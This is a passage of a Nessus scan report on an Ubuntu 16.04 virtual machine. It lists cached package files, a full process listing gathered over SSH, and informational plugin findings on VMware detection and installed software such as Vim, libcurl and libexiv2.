/var/cache/apt/archives/libbluetooth3_5.37-0ubuntu5.3_amd64.deb /var/cache/apt/archives/libcapnp-0.5.3_0.5.3-2ubuntu1.1_amd64.deb
/var/cache/apt/archives/libedataserverui-1.2-1_3.18.5-1ubuntu1.3_amd64.deb /var/cache/apt/archives/libexempi3_2.2.2-2ubuntu0.1_amd64.deb /var/cache/apt/archives/libexif12_0.6.21-2ubuntu0.6_amd64.deb /var/cache/apt/archives/libexiv2-14_0.25-2.1ubuntu16.04.6_amd64.deb /var/cache/apt/archives/libwinpr-sysinfo0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb
/var/cache/apt/archives/libfreerdp-primitives1.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb
/var/cache/apt/archives/libwinpr-handle0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-interlocked0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-thread0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-synch0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-crt0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-utils0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-pool0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-registry0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-codec1.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-library0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-environment0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-heap0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-path0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-common1.1.0_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-utils1.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-file0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-crypto1.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-input0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-locale1.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-dsparse0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-rpc0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libwinpr-sspi0.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-core1.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-cache1.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-client1.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-gdi1.1_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libfreerdp-plugins-standard_1.1.0~git20140921.1.440916e+dfsg1-5ubuntu1.4_amd64.deb /var/cache/apt/archives/libgcab-1.0-0_0.7-1ubuntu0.1_amd64.deb
/var/cache/apt/archives/libjasper1_1.900.1-debian1-2.4ubuntu1.3_amd64.deb /var/cache/apt/archives/liblcms2-utils_2.6-3ubuntu2.1_amd64.deb /var/cache/apt/archives/libopenexr22_2.2.0-10ubuntu2.6_amd64.deb /var/cache/apt/archives/libmagickcore-6.q16-2-

```
extra_8%3a6.8.9.9-7ubuntu5.16_amd64.deb /var/cache/apt/archives/libminiupnpc10_1.9.20140610-2ubuntu2.16.04.2_amd64.deb
/var/cache/apt/archives/libnm-util2_1.2.6-0ubuntu0.16.04.3_amd64.deb /var/cache/apt/archives/libnm-glib-vpn1_1.2.6-
0ubuntu0.16.04.3_amd64.deb /var/cache/apt/archives/libnm-glib4_1.2.6-0ubuntu0.16.04.3_amd64.deb
/var/cache/apt/archives/libnm0_1.2.6-0ubuntu0.16.04.3_amd64.deb /var/cache/apt/archives/libqt5core5a_5.5.1+dfsg-
16ubuntu7.7_amd64.deb /var/cache/apt/archives/libqt5dbus5_5.5.1+dfsg-16ubuntu7.7_amd64.deb
/var/cache/apt/archives/libqt5network5_5.5.1+dfsg-16ubuntu7.7_amd64.deb /var/cache/apt/archives/libxkbcommon-x11-0_0.5.0-
1ubuntu2.1_amd64.deb /var/cache/apt/archives/libxkbcommon0_0.5.0-1ubuntu2.1_amd64.deb /var/cache/apt/archives/libqt5gui5_5.5.1+dfsg-
16ubuntu7.7_amd64.deb /var/cache/apt/archives/libqt5widgets5_5.5.1+dfsg-16ubuntu7.7_amd64.deb
/var/cache/apt/archives/libqt5opengl5_5.5.1+dfsg-16ubuntu7.7_amd64.deb /var/cache/apt/archives/libqt5printsupport5_5.5.1+dfsg-
16ubuntu7.7_amd64.deb /var/cache/apt/archives/libqt5sql5_5.5.1+dfsg-16ubuntu7.7_amd64.deb /var/cache/apt/archives/libqt5sql5-
sqlite_5.5.1+dfsg-16ubuntu7.7_amd64.deb /var/cache/apt/archives/libqt5test5_5.5.1+dfsg-16ubuntu7.7_amd64.deb
/var/cache/apt/archives/libqt5xml5_5.5.1+dfsg-16ubuntu7.7_amd64.deb /var/cache/apt/archives/libraptor2-0_2.0.14-
1ubuntu0.16.04.1_amd64.deb /var/cache/apt/archives/libraw15_0.17.1-1ubuntu0.5_amd64.deb /var/cache/apt/archives/libsnmp-
base_5.7.3+dfsg-1ubuntu4.6_all.deb /var/cache/apt/archives/libsnmp30_5.7.3+dfsg-1ubuntu4.6_amd64.deb /var/cache/apt/archives/libssh-
4_0.6.3-4.3ubuntu0.6_amd64.deb /var/cache/apt/archives/libvncclient1_0.9.10+dfsg-3ubuntu0.16.04.6_amd64.deb
/var/cache/apt/archives/libwayland-cursor0_1.12.0-1~ubuntu16.04.3_amd64.deb /var/cache/apt/archives/libxfont1_1%3a1.5.1-
1ubuntu0.16.04.4_amd64.deb /var/cache/apt/archives/linux-firmware_1.157.23_all.deb /var/cache/apt/archives/linux-modules-4.15.0-142-
generic_4.15.0-142.146~16.04.1_amd64.deb /var/cache/apt/archives/linux-image-4.15.0-142-generic_4.15.0-142.146~16.04.1_amd64.deb
/var/cache/apt/archives/linux-modules-extra-4.15.0-142-generic_4.15.0-142.146~16.04.1_amd64.deb /var/cache/apt/archives/intel-
microcode_3.20210216.0ubuntu0.16.04.1_amd64.deb /var/cache/apt/archives/amd64-
microcode_3.20191021.1+really3.20180524.1~ubuntu0.16.04.2_amd64.deb /var/cache/apt/archives/linux-generic-hwe-
16.04_4.15.0.142.137_amd64.deb /var/cache/apt/archives/linux-image-generic-hwe-16.04_4.15.0.142.137_amd64.deb
/var/cache/apt/archives/linux-headers-4.15.0-142_4.15.0-142.146~16.04.1_all.deb /var/cache/apt/archives/linux-headers-4.15.0-142-
generic_4.15.0-142.146~16.04.1_amd64.deb /var/cache/apt/archives/linux-headers-generic-hwe-16.04_4.15.0.142.137_amd64.deb
/var/cache/apt/archives/mysql-client_5.7.33-0ubuntu0.16.04.1_all.deb /var/cache/apt/archives/mysql-server_5.7.33-
0ubuntu0.16.04.1_all.deb /var/cache/apt/archives/network-manager_1.2.6-0ubuntu0.16.04.3_amd64.deb /var/cache/apt/archives/ppp_2.4.7-
1+2ubuntu1.16.04.3_amd64.deb /var/cache/apt/archives/wpasupplicant_2.4-0ubuntu6.8+esm1_amd64.deb /var/cache/apt/archives/policykit-
desktop-privileges_0.20ubuntu16.04.1_all.deb /var/cache/apt/archives/python3-cryptography_1.2.3-1ubuntu0.3_amd64.deb
/var/cache/apt/archives/python3-jinja2_2.8-1ubuntu0.1_all.deb /var/cache/apt/archives/python3-lxml_3.5.0-1ubuntu0.4_amd64.deb
/var/cache/apt/archives/python3-pil_3.1.2-0ubuntu1.6_amd64.deb /var/cache/apt/archives/python3-pyparsing_2.0.3+dfsg1-
1ubuntu0.2_all.deb /var/cache/apt/archives/python3-renderpm_3.3.0-1ubuntu0.1_amd64.deb /var/cache/apt/archives/python3-reportlab-
accel_3.3.0-1ubuntu0.1_amd64.deb /var/cache/apt/archives/python3-reportlab_3.3.0-1ubuntu0.1_all.deb /var/cache/apt/archives/python3-
urllib3_1.13.1-2ubuntu0.16.04.4_all.deb /var/cache/apt/archives/python3-requests_2.9.1-3ubuntu0.1_all.deb
/var/cache/apt/archives/software-properties-common_0.96.20.10_all.deb /var/cache/apt/archives/software-properties-
gtk_0.96.20.10_all.deb /var/cache/apt/archives/python3-software-properties_0.96.20.10_all.deb /var/cache/apt/archives/python3-
xdg_0.25-4ubuntu0.16.04.1_all.deb /var/cache/apt/archives/qpdf_8.0.2-3~16.04.1_amd64.deb /var/cache/apt/archives/sane-
utils_1.0.25+git20150528-1ubuntu2.16.04.3_amd64.deb /var/cache/apt/archives/sbsigntool_0.6-0ubuntu10.2_amd64.deb
/var/cache/apt/archives/thunderbird-locale-en_1%3a68.10.0+build1-0ubuntu0.16.04.1_amd64.deb
/var/cache/apt/archives/thunderbird_1%3a68.10.0+build1-0ubuntu0.16.04.1_amd64.deb /var/cache/apt/archives/thunderbird-gnome-
support_1%3a68.10.0+build1-0ubuntu0.16.04.1_amd64.deb /var/cache/apt/archives/thunderbird-locale-en-us_1%3a68.10.0+build1-
0ubuntu0.16.04.1_all.deb /var/cache/apt/archives/transmission-common_2.84-3ubuntu3.1_all.deb /var/cache/apt/archives/transmission-
gtk_2.84-3ubuntu3.1_amd64.deb /var/cache/apt/archives/unattended-upgrades_0.90ubuntu0.10_all.deb /var/cache/apt/archives/usb-
creator-gtk_0.3.2ubuntu16.04.1_amd64.deb /var/cache/apt/archives/usb-creator-common_0.3.2ubuntu16.04.1_amd64.deb
/var/cache/apt/archives/vino_3.8.1-0ubuntu9.4_amd64.deb /var/cache/apt/archives/wireless-regdb_2024.07.04-0ubuntu1~16.04.1_all.deb
/var/cache/apt/archives/xdg-utils_1.1.1-1ubuntu1.16.04.5_all.deb /var/cache/apt/archives/xul-ext-ubufox_3.4-0ubuntu0.16.04.2_all.deb
/var/cache/apt/archives/liblouis-data_2.6.4-2ubuntu0.4_all.deb /var/cache/apt/archives/liblouis9_2.6.4-2ubuntu0.4_amd64.deb
/var/cache/apt/archives/python3-louis_2.6.4-2ubuntu0.4_all.deb
root 2724 0.0 0.0 0 0 ? S 03:15 0:00 [kworker/0:2]
root 3078 0.0 0.0 0 0 ? S 03:15 0:00 [kworker/0:3]
root 8469 0.1 0.0 0 0 ? S 03:17 0:00 [kworker/u4:3]
root 9189 0.0 0.0 4500 724 pts/9 S+ 03:17 0:00 /bin/sh /var/lib/dpkg/info/unattended-upgrades.prerm upgrade 0.90ubuntu0.10
root 9190 0.0 0.0 4500 1768 pts/9 S+ 03:17 0:00 /bin/sh /usr/sbin/invoke-rc.d unattended-upgrades stop
root 9225 0.0 0.0 33232 1344 pts/9 S+ 03:17 0:00 systemctl stop unattended-upgrades.service
root 9226 0.0 0.4 79752 16420 ? Ss 03:17 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown
root 12300 0.0 0.2 298612 8496 ? Ssl 03:19 0:00 /usr/lib/accountsservice/accounts-daemon
systemd+ 12997 0.0 0.0 102380 2532 ? Ssl 03:03 0:00 /lib/systemd/systemd-timesyncd
root 15068 0.0 0.0 0 0 ? S 03:21 0:00 [kworker/0:0]
root 15111 0.0 0.0 0 0 ? S 03:21 0:00 [kworker/1:2]
root 15140 0.0 0.0 0 0 ? S 03:21 0:00 [kworker/1:3]
root 15176 0.0 0.0 0 0 ? S 03:21 0:00 [kworker/0:1]
root 15229 0.3 0.9 301660 37828 tty8 Ssl+ 03:21 0:00 /usr/lib/xorg/Xorg -core :1 -seat seat0 -auth /var/run/lightdm/root/:1 -
nolisten tcp vt8 -novtswitch
root 15250 0.0 0.1 226176 6540 ? Sl 03:22 0:00 lightdm --session-child 19 22
lightdm 15256 0.0 0.1 45316 4772 ? Ss 03:22 0:00 /lib/systemd/systemd --user
lightdm 15257 0.0 0.0 145160 1872 ? S 03:22 0:00 (sd-pam)
lightdm 15266 0.0 0.0 4500 788 ? Ss 03:22 0:00 /bin/sh /usr/lib/lightdm/lightdm-greeter-session /usr/sbin/unity-greeter
lightdm 15271 0.0 0.0 43108 3476 ? Ss 03:22 0:00 /usr/bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
lightdm 15272 0.3 1.3 1002824 54556 ? Sl 03:22 0:00 /usr/sbin/unity-greeter
lightdm 15276 0.0 0.2 353828 8240 ? Sl 03:22 0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher --launch-immediately
lightdm 15282 0.0 0.1 281480 6080 ? Sl 03:22 0:00 /usr/lib/gvfs/gvfsd
lightdm 15289 0.0 0.1 354424 7372 ? Sl 03:22 0:00 /usr/lib/gvfs/gvfsd-fuse /run/user/108/gvfs -f -o big_writes
lightdm 15293 0.0 0.0 42760 3348 ? S 03:22 0:00 /usr/bin/dbus-daemon --config-file=/etc/at-spi2/accessibility.conf --nofork --print-
address 3
lightdm 15306 0.0 0.1 206968 5292 ? Sl 03:22 0:00 /usr/lib/at-spi2-core/at-spi2-registryd --use-gnome-session
lightdm 15314 0.0 0.1 178528 4728 ? Sl 03:22 0:00 /usr/lib/dconf/dconf-service
root 15319 0.0 0.1 82704 5180 ? S 03:22 0:00 lightdm --session-child 13 22
lightdm 15323 0.0 0.1 53020 4196 ? S 03:22 0:00 upstart --user --startup-event indicator-services-start
lightdm 15325 0.1 0.7 624368 31228 ? Sl 03:22 0:00 nm-applet
lightdm 15327 0.0 0.2 377188 9328 ? Ssl 03:22 0:00 /usr/lib/x86_64-linux-gnu/indicator-messages/indicator-messages-service
lightdm 15328 0.0 0.1 356280 7908 ? Ssl 03:22 0:00 /usr/lib/x86_64-linux-gnu/indicator-bluetooth/indicator-bluetooth-service
lightdm 15329 0.0 0.2 367092 10352 ? Ssl 03:22 0:00 /usr/lib/x86_64-linux-gnu/indicator-power/indicator-power-service
lightdm 15331 0.0 0.3 619124 13916 ? Ssl 03:22 0:00 /usr/lib/x86_64-linux-gnu/indicator-datetime/indicator-datetime-service
lightdm 15332 0.2 0.8 574908 33260 ? Ssl 03:22 0:00 /usr/lib/x86_64-linux-gnu/indicator-keyboard/indicator-keyboard-service --use-
gtk
lightdm 15333 0.0 0.3 682924 12484 ? Ssl 03:22 0:00 /usr/lib/x86_64-linux-gnu/indicator-sound/indicator-sound-service
lightdm 15334 0.0 0.2 643284 8348 ? Ssl 03:22 0:00 /usr/lib/x86_64-linux-gnu/indicator-session/indicator-session-service
lightdm 15335 0.1 0.6 628156 24924 ? Sl 03:22 0:00 /usr/lib/unity-settings-daemon/unity-settings-daemon
lightdm 15338 0.0 0.3 476876 12952 ? Ssl 03:22 0:00 /usr/lib/x86_64-linux-gnu/indicator-application/indicator-application-service
lightdm 15381 0.0 0.1 342692 7212 ? S<l 03:22 0:00 /usr/bin/pulseaudio --start --log-target=syslog
root 18625 0.0 0.0 15672 1056 ? Ss 03:24 0:00 /lib/systemd/systemd-timedated
root 19431 0.0 0.0 0 0 ? S 03:24 0:00 [kworker/0:4]
root 19569 1.0 0.1 94924 7028 ? Ss 03:24 0:00 sshd: marlinspike [priv]
root 19600 0.0 0.1 94924 6692 ? Ss 03:24 0:00 sshd: marlinspike [priv]
root 19676 0.0 0.1 94768 6716 ? Ss 03:24 0:00 sshd: marlinspike [priv]
root 19745 0.0 0.0 4500 776 ? S 03:24 0:00 sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
root 19746 0.0 0.0 4360 736 ? S 03:24 0:00 run-parts --lsbsysinit /etc/update-motd.d
marlins+ 19770 0.0 0.3 372432 14652 ? Rsl 03:24 0:00 compiz
root 19778 0.0 0.0 4500 780 ? S 03:24 0:00 /bin/sh /etc/update-motd.d/91-release-upgrade
```

```
root 19781 0.0 0.0 4500 88 ? S 03:24 0:00 /bin/sh /etc/update-motd.d/91-release-upgrade
root 19782 0.0 0.2 35548 10652 ? R 03:24 0:00 /usr/bin/python3 -Es /usr/bin/lsb_release -sd
root 19783 0.0 0.0 4380 664 ? S 03:24 0:00 cut -d -f4
marlins+ 19788 0.0 0.1 95096 5160 ? R 03:24 0:00 sshd: marlinspike@notty
root 19789 0.0 0.1 94768 6792 ? Ss 03:24 0:00 sshd: marlinspike [priv]
root 19791 0.0 0.1 94900 6584 ? Rs 03:24 0:00 sshd: marlinspike [priv]
sshd 19796 0.0 0.0 65508 3168 ? R 03:24 0:00 sshd: marlinspike [net]
marlins+ 19806 0.0 0.1 95092 4840 ? S 03:24 0:00 sshd: marlinspike@notty
marlins+ 19808 0.0 0.0 19576 3052 ? Ss 03:24 0:00 bash -c /bin/ps auxww 2>/dev/null
marlins+ 19809 0.0 0.0 44428 3380 ? R 03:24 0:00 /bin/ps auxww
root 24332 0.4 0.0 0 0 ? S 03:09 0:04 [kworker/u4:0]
marlins+ 24339 0.0 0.1 45316 4644 ? Ss 03:10 0:00 /lib/systemd/systemd --user
marlins+ 24340 0.0 0.0 145160 1852 ? S 03:10 0:00 (sd-pam)
marlins+ 24396 0.0 0.1 212272 6680 ? Sl 03:10 0:00 /usr/bin/gnome-keyring-daemon --daemonize --login
marlins+ 24406 2.5 0.1 54504 5800 ? Ss 03:10 0:22 /sbin/upstart --user
marlins+ 24495 0.0 0.0 39924 276 ? S 03:10 0:00 upstart-udev-bridge --daemon --user
marlins+ 24497 3.1 0.1 43728 4348 ? Ss 03:10 0:28 dbus-daemon --fork --session --address=unix:abstract=/tmp/dbus-gVe6L4fM0J
marlins+ 24509 0.0 0.2 93408 9100 ? Ss 03:10 0:00 /usr/lib/x86_64-linux-gnu/hud/window-stack-bridge
marlins+ 24546 0.0 0.0 48348 2100 ? S 03:10 0:00 upstart-file-bridge --daemon --user
marlins+ 24550 0.2 0.0 39856 320 ? S 03:10 0:02 upstart-dbus-bridge --daemon --session --user --bus-name session
marlins+ 24554 0.0 0.2 365224 8312 ? Ssl 03:10 0:00 /usr/bin/ibus-daemon --daemonize --xim --address unix:tmpdir=/tmp/ibus
marlins+ 24561 0.1 0.1 281580 6144 ? Sl 03:10 0:01 /usr/lib/gvfs/gvfsd
marlins+ 24567 0.0 0.2 419960 9500 ? Sl 03:10 0:00 /usr/lib/gvfs/gvfsd-fuse /run/user/1000/gvfs -f -o big_writes
marlins+ 24572 0.0 0.1 284720 8016 ? Sl 03:10 0:00 /usr/lib/ibus/ibus-dconf
marlins+ 24573 0.1 0.0 39856 324 ? S 03:10 0:00 upstart-dbus-bridge --daemon --system --user --bus-name system
marlins+ 24584 0.9 0.5 525892 22044 ? Ssl 03:10 0:08 /usr/lib/x86_64-linux-gnu/bamf/bamfdaemon
marlins+ 24585 0.1 0.5 436972 21856 ? Sl 03:10 0:01 /usr/lib/ibus/ibus-x11 --kill-daemon
marlins+ 24599 0.0 0.2 353844 8228 ? Sl 03:10 0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher
marlins+ 24608 0.1 0.0 43024 4036 ? S 03:10 0:01 /usr/bin/dbus-daemon --config-file=/etc/at-spi2/accessibility.conf --nofork --
print-address 3
marlins+ 24612 0.1 0.1 206968 5376 ? Sl 03:10 0:01 /usr/lib/at-spi2-core/at-spi2-registryd --use-gnome-session
marlins+ 24615 0.0 0.0 173600 588 ? Ss 03:10 0:00 gpg-agent --homedir /home/marlinspike/.gnupg --use-standard-socket --daemon
marlins+ 24616 0.0 0.1 208848 7932 ? Sl 03:10 0:00 /usr/lib/ibus/ibus-engine-simple
marlins+ 24628 0.1 0.8 652752 34000 ? Ssl 03:10 0:01 /usr/lib/x86_64-linux-gnu/hud/hud-service
marlins+ 24630 0.8 0.7 863088 32132 ? Ssl 03:10 0:07 /usr/lib/unity-settings-daemon/unity-settings-daemon
marlins+ 24642 0.2 0.3 560580 15092 ? Ssl 03:10 0:02 /usr/lib/gnome-session/gnome-session-binary --session=ubuntu
marlins+ 24648 0.1 0.6 600604 25844 ? Ssl 03:10 0:01 /usr/lib/x86_64-linux-gnu/unity/unity-panel-service
marlins+ 24670 3.5 0.1 178656 4884 ? Sl 03:10 0:31 /usr/lib/dconf/dconf-service
marlins+ 24681 0.0 0.2 377152 9324 ? Ssl 03:10 0:00 /usr/lib/x86_64-linux-gnu/indicator-messages/indicator-messages-service
marlins+ 24682 0.0 0.2 356280 10072 ? Ssl 03:10 0:00 /usr/lib/x86_64-linux-gnu/indicator-bluetooth/indicator-bluetooth-service
marlins+ 24689 0.0 0.2 366972 10408 ? Ssl 03:10 0:00 /usr/lib/x86_64-linux-gnu/indicator-power/indicator-power-service
marlins+ 24690 0.0 0.4 1116556 17912 ? Ssl 03:10 0:00 /usr/lib/x86_64-linux-gnu/indicator-datetime/indicator-datetime-service
marlins+ 24691 0.1 0.7 659936 29888 ? Ssl 03:10 0:00 /usr/lib/x86_64-linux-gnu/indicator-keyboard/indicator-keyboard-service --use-
gtk
marlins+ 24692 0.0 0.3 682828 12260 ? Ssl 03:10 0:00 /usr/lib/x86_64-linux-gnu/indicator-sound/indicator-sound-service
marlins+ 24693 0.1 0.6 556656 24812 ? Ssl 03:10 0:01 /usr/lib/x86_64-linux-gnu/indicator-printers/indicator-printers-service
marlins+ 24694 0.0 0.2 504148 8396 ? Ssl 03:10 0:00 /usr/lib/x86_64-linux-gnu/indicator-session/indicator-session-service
marlins+ 24703 0.0 0.3 476876 13112 ? Ssl 03:10 0:00 /usr/lib/x86_64-linux-gnu/indicator-application/indicator-application-service
marlins+ 24736 0.0 0.2 361520 8336 ? S<l 03:10 0:00 /usr/bin/pulseaudio --start --log-target=syslog
marlins+ 24750 0.7 0.7 460236 28960 ? Sl 03:10 0:06 /usr/bin/gnome-screensaver --no-daemon
marlins+ 24753 0.0 0.5 711512 23828 ? Sl 03:10 0:00 /usr/lib/evolution/evolution-source-registry
root 24755 0.0 0.1 100344 7524 ? Ss 03:10 0:00 /usr/sbin/cupsd -l
marlins+ 24784 0.1 1.4 876876 60632 ? Sl 03:10 0:01 /usr/lib/evolution/evolution-calendar-factory
marlins+ 24794 0.1 0.5 438620 20240 ? Sl 03:10 0:01 /usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1
marlins+ 24795 0.6 2.5 1367264 102560 ? Sl 03:10 0:05 /usr/bin/gnome-software --gapplication-service
marlins+ 24799 0.1 0.8 628112 32396 ? Sl 03:10 0:01 nm-applet
marlins+ 24800 0.5 0.9 723636 38864 ? Sl 03:10 0:05 nautilus -n
marlins+ 24801 0.1 0.4 583960 20164 ? Sl 03:10 0:01 /usr/lib/unity-settings-daemon/unity-fallback-mount-helper
marlins+ 24808 0.1 0.2 303444 9828 ? Sl 03:10 0:01 /usr/lib/gvfs/gvfs-udisks2-volume-monitor
root 24823 0.0 0.2 382276 9616 ? Ssl 03:10 0:00 /usr/lib/udisks2/udisksd --no-debug
root 24844 0.1 0.8 635320 36352 ? Sl 03:10 0:01 /usr/lib/x86_64-linux-gnu/fwupd/fwupd
marlins+ 24845 0.0 1.2 821560 51040 ? Sl 03:10 0:00 /usr/lib/evolution/evolution-calendar-factory-subprocess --factory contacts --
bus-name org.gnome.evolution.dataserver.Subprocess.Backend.Calendarx24784x2 --own-path
/org/gnome/evolution/dataserver/Subprocess/Backend/Calendar/24784/2
marlins+ 24848 0.1 0.1 266584 5536 ? Sl 03:10 0:01 /usr/lib/gvfs/gvfs-mtp-volume-monitor
marlins+ 24854 0.1 0.1 278780 6024 ? Sl 03:10 0:01 /usr/lib/gvfs/gvfs-gphoto2-volume-monitor
marlins+ 24859 0.1 0.2 410672 8880 ? Sl 03:10 0:01 /usr/lib/gvfs/gvfs-afc-volume-monitor
marlins+ 24865 0.1 0.1 264592 4956 ? Sl 03:10 0:01 /usr/lib/gvfs/gvfs-goa-volume-monitor
marlins+ 24872 0.0 0.2 370712 8856 ? S 03:10 0:00 /usr/lib/gvfs/gvfsd-trash --spawner :1.5 /org/gtk/gvfs/exec_spaw/0
marlins+ 24887 0.0 0.4 704372 19460 ? Sl 03:10 0:00 /usr/lib/evolution/evolution-addressbook-factory
marlins+ 24890 0.0 1.2 879672 52320 ? Sl 03:10 0:00 /usr/lib/evolution/evolution-calendar-factory-subprocess --factory local --bus-
name org.gnome.evolution.dataserver.Subprocess.Backend.Calendarx24784x3 --own-path
/org/gnome/evolution/dataserver/Subprocess/Backend/Calendar/24784/3
marlins+ 24906 0.0 0.4 853600 19492 ? Sl 03:10 0:00 /usr/lib/evolution/evolution-addressbook-factory-subprocess --factory local --
bus-name org.gnome.evolution.dataserver.Subprocess.Backend.AddressBookx24887x2 --own-path
/org/gnome/evolution/dataserver/Subprocess/Backend/AddressBook/24887/2
marlins+ 24954 0.0 0.0 4500 788 ? Ss 03:10 0:00 /bin/sh -e /proc/self/fd/9
marlins+ 24956 0.1 1.3 495020 54916 ? Sl 03:10 0:01 /usr/bin/python3 /usr/share/apport/apport-gtk
marlins+ 25166 0.0 0.4 506140 16484 ? Sl 03:10 0:00 zeitgeist-datahub
marlins+ 25173 0.0 0.0 4500 700 ? S 03:10 0:00 /bin/sh -c /usr/lib/x86_64-linux-gnu/zeitgeist/zeitgeist-maybe-vacuum;
/usr/bin/zeitgeist-daemon
marlins+ 25184 0.0 0.1 339964 6520 ? Sl 03:10 0:00 /usr/bin/zeitgeist-daemon
marlins+ 25191 0.0 0.2 310832 9836 ? Sl 03:10 0:00 /usr/lib/x86_64-linux-gnu/zeitgeist-fts
marlins+ 26186 0.1 0.6 530668 25484 ? Sl 03:11 0:01 update-notifier
marlins+ 26399 0.1 1.3 494988 54948 ? Sl 03:11 0:01 /usr/bin/python3 /usr/share/apport/apport-gtk
marlins+ 27675 0.0 0.2 464804 8844 ? Sl 03:12 0:00 /usr/lib/x86_64-linux-gnu/deja-dup/deja-dup-monitor
marlins+ 30509 0.1 0.7 571716 29196 ? Sl 03:14 0:00 deja-dup --prompt
marlins+ 30518 0.3 0.5 447316 23856 ? Sl 03:14 0:01 /usr/lib/x86_64-linux-gnu/notify-osd
```

152742 - Unix Software Discovery Commands Available -

Synopsis

Nessus was able to log in to the remote host using the provided credentials and is able to execute all commands used to find unmanaged software.

Description

Nessus was able to determine that it is possible for plugins to find and identify versions of software on the target host. Software that is not managed by the operating system is typically found and characterized using these commands. This was measured by running commands used by unmanaged software plugins and validating their output against expected results.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/08/23, Modified: 2021/08/23

Plugin Output

tcp/0

```
Unix software discovery checks are available.

Account : marlinspike
Protocol : SSH
```

20094 - VMware Virtual Machine Detection -

Synopsis

The remote host is a VMware virtual machine.

Description

According to the MAC address of its network adapter, the remote host is a VMware virtual machine.

Solution

Since it is physically accessible through the network, ensure that its configuration matches your organization's security policy.

Risk Factor

None

Plugin Information

Published: 2005/10/27, Modified: 2019/12/11

Plugin Output

tcp/0

```
The remote host is a VMware virtual machine.
```

189731 - Vim Installed (Linux) -

Synopsis

Vim is installed on the remote Linux host.

Description

Vim is installed on the remote Linux host.

See Also

https://www.vim.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2024/01/29, Modified: 2025/10/22

Plugin Output

tcp/0

```
Path : /usr/bin/vim.tiny
Version : 7.4
```

182848 - libcurl Installed (Linux / Unix)

Synopsis

libcurl is installed on the remote Linux / Unix host.

Description

libcurl is installed on the remote Linux / Unix host.

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.

- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.182848' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

See Also

https://curl.se/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/10/10, Modified: 2025/10/22

Plugin Output

tcp/0

```
Nessus detected 2 installs of libcurl:

Path : /usr/lib/x86_64-linux-gnu/libcurl.so.4.4.0
Version : 7.47.0
Associated Package : libcurl3

Path : /usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4.4.0
Version : 7.47.0
Associated Package : libcurl3-gnutls
```

204828 - libexiv2 Installed (Linux / Unix)

Synopsis

libexiv2 is installed on the remote Linux / Unix host.

Description

libexiv2 is installed on the remote Linux / Unix host.

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.

- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.204828' scanner setting in Nessus 8.15.1 or later.

